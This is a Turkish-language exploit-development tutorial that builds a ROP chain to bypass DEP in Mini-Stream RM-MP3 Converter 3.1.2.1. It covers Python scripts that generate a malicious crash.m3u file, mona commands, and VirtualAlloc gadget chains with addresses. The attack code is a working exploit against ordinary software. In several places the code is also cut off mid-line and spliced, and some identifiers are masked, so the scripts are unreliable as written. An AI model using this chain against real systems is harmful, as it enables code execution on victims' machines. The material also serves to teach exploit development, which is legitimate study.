?Eller havaya, bu bir soygun!!?. Bir fincan kahveniz var ve yığın exploitini nasıl bir üst seviyeye taşıyacağınızı düşünüyorsunuz. Bugün ROP ile cebelleşeceğiz (Dönüş Odaklı Programlama). Önceki eğitimlerden farklı olarak bu parametreleri yığındaki Windows API çağrıları için oluşturacağız ve daha sonra bunları çalıştıracağız. Tıpkı diğer tüm eğitici bölümlerde olduğu gibi ROP?u öğrenmek için de baya çalışmanız gerekecek. Yine söylüyorum, bu eğitim bilmeniz gereken her şeyi kapsamaz ve kapsayamaz. ROP hakkında daha iyi bir fikir edinmek istiyorsanız, corelanc0d3r?ın sayfasını buradan kontrol edin.
Bu tekniği tanıtmak için ?Mini-Stream RM-MP3 Converter 3.1.2.1? için yeni bir exploit oluşturacağız. Burada bu program için bir önceki exploiti görebilirsiniz amca göreceğiniz gibi, farklı ve belki de daha etkili bir şey yapacağız!
Hata Ayıklama Makinesi: Windows 7 (herhangi bir Windows sürümü iş görür, ben Win7 Pro SP1 kullanıyorum)
Badcharacters: ?\x00\x09\x0A?
Güvenlik Açıklı Yazılım: İndir
Giriş
Peki tüm bu delilik nedir ve bunu neden önemsiyorsun? İnsanlar yıllardır yığın taşmalarını kötüye kullanıyor. Microsoft?u ne için suçlayabiliriz ve bununla yüzleşmemiz gerek, yıllarca süren yığın parçalama onların dikkatinden kaçmadı. Farkında olduğum kadarıyla, WinXP SP2 ve Win Server 2003 SP1?den başlayarak, Windows yürütülebilir olmayan bellek aralıklarından kod yürütülmesini önlemek için yeni bir güvenlik özelliği uyguladı. DEP (Veri Yürütme Önleme) iki çeşittir.
Hardware Zorunlu DEP: CPU, bellek sayfalarını yürütülebilir olmayan olarak işaretler.
Yazılım Zorunlu DEP: Bu özellikleri desteklemeyen CPU?lar için alternatif olur.
Hardware Zorunlu DEP?yi destekleyen CPU?lar, yürütülebilir olmayan (NX) bit kümesine sahip bellek aralıklarından kod yürütmeyi redder. Bunun ana nedeni, özel/kötü amaçlı kodun başka bir programa enekte edilmesini önlemek için daha sonra yürütülür. Bu, esas olarak kötü amaçlı yazılım ve yığın tabanlı exploitlere engel olmak için uygulandı. Bununla birlikte, DEP bazen programların istenmeyen ve hatalı davranmasına neden olabilir çünkü meşru süreçlerin yapmaları gereken şeyleri yapmasını engeller. Bu sorunu çözmek için DEP, ana işletim sisteminizde iki şekilde yapılandırılabilir.
Opt-In Mode: DEP Yalnızca sistem işlemleri ve özel olarak tanımlanmış programlar için etkinleştirilir.
Opt-Out Mode: DEP, özel olarak/manuel olarak devre dışı bırakılanlar dışındaki tüm programlar ve hizmetler için etkindir.
Peki bu exploit geliştirme ne anlama geliyor? DEP etkin bellek bölümünde herhangi bir kodu çalıştırmaya çalıştığımızda (EIP veya shell kodu hakkında konuşuyor olalım) bir erişim ihlali oluşur ?STATUS_ACCESS_VIOLATION (0x0000005)? işlemin sonlandırılmasına neden olur. Açıkça bu bizim için kötü! Bununla birlikte, DEP ile ilgili en ilginç şey, her işlem için devre dışı bırakılabilmesidir. Bu pratik olarak, bir dizi belleği yürütülebilir olarak işaretleyen Windows API çağrıları olduğu anlamına gelir. Asıl sorun hala devam ediyor, herhangi bir kod yürütemezsek, Windows API fonksiyonlarını nasıl çağırabiliriz?
Dönüş Odaklı Programa (ROP) girin. Bu teknik ilk olarak 2005 yılında Sebastian Krahmer tarafından SUSE Linux?ta tanıtıldı. Makalesini burada okuyabilirsiniz (okumalısınız, hehe). Temel fikir, Windows API çağrımıza parametre oluşturmak için yüklü modüllerden mevcut kod parçalarını (veya daha sonra onlara gadget?lar diyeceğimiz gibi) ödünç alacağımızdır. Bunu işe yaramasının nedeni, DEP etkinken bir türlü talimatı ?yürütmemize? izin verilmesidir bir RETN. Temelde RETN ne yığında sonraki işaretçi yönlendirme yapılmasıdır. Bir RETN gerçekletirerek aslında herhangi bir kod yürütmüyoruz, bu anlamda DEP?in bir NOP versiyonu gibi bir şey. Bu Dönüş Odaklı Programlama terimini açıklığa kavuşturmalıdır. Yığını bir RETN ile biten tlimat dizelerini içeren uygulama modüllerinden işaretçilerle dolduracağız. Birlikte bu dizileri zincirleme üst düzey Meclis hesaplama yürütmek için bize izin verir. Aşağıdaki örnek, bunu göstermek için yardımcı olmalıdır.
Kod:
(1) All our pointers on the stack directly (2) All our pointers on the stack reference a ********
reference a RETN. in memory that contains instructions followed by
a RETN (=gadget).
ESP -> ???????? => RETN ESP -> ???????? => POP EAX # RETN
???????? => RETN ffffffff => we put this value in EAX
???????? => RETN ???????? => INC EAX # RETN
???????? => RETN ???????? => XCHG EAX,EDX # RETN
(1) In this case our RETN's will simply (2) This is just an example but essentially we are
increment ESP without doing anything. zeroing out EDX using pre-existing instructions
that are located somewhere in the application
without actally executing any code.
Doğru anlamışsınız! Tüm ROP-Gadget?ları listeleyeceğiz ve sonra API çağrımızı oluşturmak için onları bir araya getirin, bu da DEP?yi devre dışı bırakacak ve ikinci aşamadaki payloadımızı gerçekleştirmemize izin verecektir. Bu teknik, belirli bir talimatın belirli bir modül içinde nerede bulunacağını güvenilir bir şekilde tahmin etme yeteneğimize dayanır. Böylece, yalnızca rebase olmayan ve aslr olmayan modüllerden gadget?ları kullanabiliriz.
Windows yapılarında ve hizmet paketlerinde kullanılabilen birçok farklı API çağrısı vardır. Corelan?dan alınan bu tablo, yapı ve hizmet paketine dayalı DEP?yi devre dışı bırakmak için nelerin kullanılabileceğine dair güzel bir genel bakış sunar.

Gördüğünüz gibi, bir şeyi yapmanın birden fazla yolu vardır. Bazı yöntemler diğerlerinden daha evrenseldir. Bu farklı API çağrıları MSDN?de düzgün bir şekilde belgelenmiştir bu yüzden, onları okumak ve ihtiyaç duydukları parametreleri daha iyi anlamak için biraz zaman ayırın. İşletim sistemi modülleri ASLR etkin olacak bu nedenle genel olarak, uygulama modüllerinin bu API çağrılarından herhangi birine işaretçi içerip içermediğini göreceğiz. Mevcut olana bağlı olarak, ROP-Chain inşa etmeye başlayabiliriz.
Temel olarak, ROP payloadının ilk aşamasını yazmanın iki yolu vardır. (1) Tüm API parametrelerini çeşitli kayıtlara yükleyebiliriz ve onları uygun sırayla yığına itmek için bir PUSHAD talimatı kullanabiliriz (bugün yapacağımız şey bu). Ya da (2) parametreleri doğrudan yığına uygun sırayla yazabiliriz ve sonra onlara geri dönebiliriz (Bu daha zor olacaktır).
Son olarak, ROP içinde bütün bir payloadı oluşturmanın da mümkün olduğunu belirtmem gerek. Bu ciddi Ninja becerileri gerektirir ve DEP?yi devre dışı bırakan bir ROP-Stager oluşturmaktan çok daha az pratiktir ancak bu yol hiç yoktan daha havalı, hehe.
Primitifleri Toplamak
Exploitleri geliştirme tamamen doğru bilgileri almakla alakalıdır. Ne kadar bilgi toplarsanız, her şey o kadar net olur, POC -> exploit?ten de o kadar hızlı geçersiniz. POC ile her şeyi başlatalım, biraz hile yaptım ve 4 B ile EIP?nin üzerine yazan temel bir arabellek yapısı vermek için POC?i değiştirdi (şimdiye kadar bir m3tasploit desenini kullanabildiğinizi varsayıyorum).
Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A' #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Tamam önceden yaptığımız gibi, Mini-Stream hata ayıklayıcısını takın ve ?crash.m3u? dosyasını açın. Aşağıda ortaya çıkan çökmeyi ekran görüntüsünde görebilirsiniz. Dikkat edilmesi gereken birkaç şey var: (1) Arabelleğimizde ESP kayıt defterinde yer almaktadır ve bu iyi bir haberdir çünkü ROP-Chain ulaşmak için EIP?yi basit bir RETN ile üzerine yazabiliriz ve (2) ESP, C-arabelleğimize 4 bayt işaret ettiğine dikkat etmeliyiz bu yüzden bu baytları daha sonra telafi etmemiz gerekecek.

İyi, şimdi bellek düzeni hakkında temel bir fikrimiz var. Mona?yı çıkaralım ve yüklü modüllere bir göz atalım (unutmayın rebase olmayan, ASR olmayan ve badcharacters olmadığını). Tüm kriterlerimizi karşılayan tek bir dil var gibi görünüyor (MSRMfilter03.dll). Mona?nın ROP-Chain için kullanabileceğimiz dll içindeki API işaretçilerini aramasını sağlayarak daha fazla ağır iş yapmasına izin verebiliriz. Aşağıdaki ekran görüntülerinde sonuçları görebilirsiniz.
!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb?\x00\x09\x0a?


Numaralandırma işleminin son aşaması şöyledir. Mona?nın seçtiğimiz modüle bağlı olarak bir ROP-Gadget listesi oluşturmasını sağlamak, bu arada bu, mona?nın en şaşırtıcı özelliklerinden biri ve corelanc0d3r?ın içine koyduğu çabanın bir kanıtıdır!! Mona birkaç önemli dosya üretecek: ?rop.txt? (tüm ROP-Gadget?ların ham listesi), ?rop_suggestions.txt? (fonksiyona dayalı ROP-Gadget?ların yoğun şekilde filtrelenmiş bir listesi), ?stackpivot.txt? (ihtiyacınız varsa ESP döndüren araçların listesi) ve ?rop_virtualprotect.txt? (VirtualProtect tabanlı bir ROP-Chain oluşturmaya çalışır). Kaynaklara kolay ulaşmak için bu dosyaları açık tutmanızı öneririm, notepad++ kullanıyorsanız, bunları ayrı sekmelerde açabilirsiniz. VirtualAlloc tabanlı bir zincir inşa edecek olsak bile, ?rop_virtualprotect.txt?, ihtiyacımız olan bazı temel araçlar olduğu için bakmak hala yararlıdır.
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'

ROP-Chain Oluşturmak
Ciddi konulara geçmeden önce,POC?inizi güncelleyelim. Daha önce gördüğümüz gibi, RETN için bir işaretçi ile EIP?nin üzerine yazabiliriz çünkü bizim arabellek ESP kayıt yerinde bulunmaktadır. Eğer ?rop.txt? dosyasını açarsanız talimatlardan herhangi birini seçebilirsiniz ve böylece RETN adresini değiştirebilirsiniz ve onu korursunuz. Bunu yaparken, ROP-Chain için bir değişken ayarlayacağız ve dha önce fark ettiğimiz 4 baytları telafi etmeyi unutmayacağız.
Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
rop = struct.pack(' 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN /
(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)
Bu dizelerin bazıları biraz karmaşık gibi görünüyor ancak anlamak zor değildir, onlara bakmak için biraz zaman ayırın, böylece anladığınızı fark edeceksiniz. Gördüğünüz gibi bu araçlardan bazıları, uygun değeri yüklemek için birkaç kaydı işliyor. Gadget?larımızı ROP-Chani etkilemeyecek şekilde sıralayabiliriz, bu yüzden bunu aklınızda tutun. Her şeyi bir araya getirmenin ve POC?imizi yeniden yapılandırmanın zamanı geldi.
<div style="margin:20px; margin-top:5px"> Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LP**** lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAl********Type, => flAl********Type (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAl********Type #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('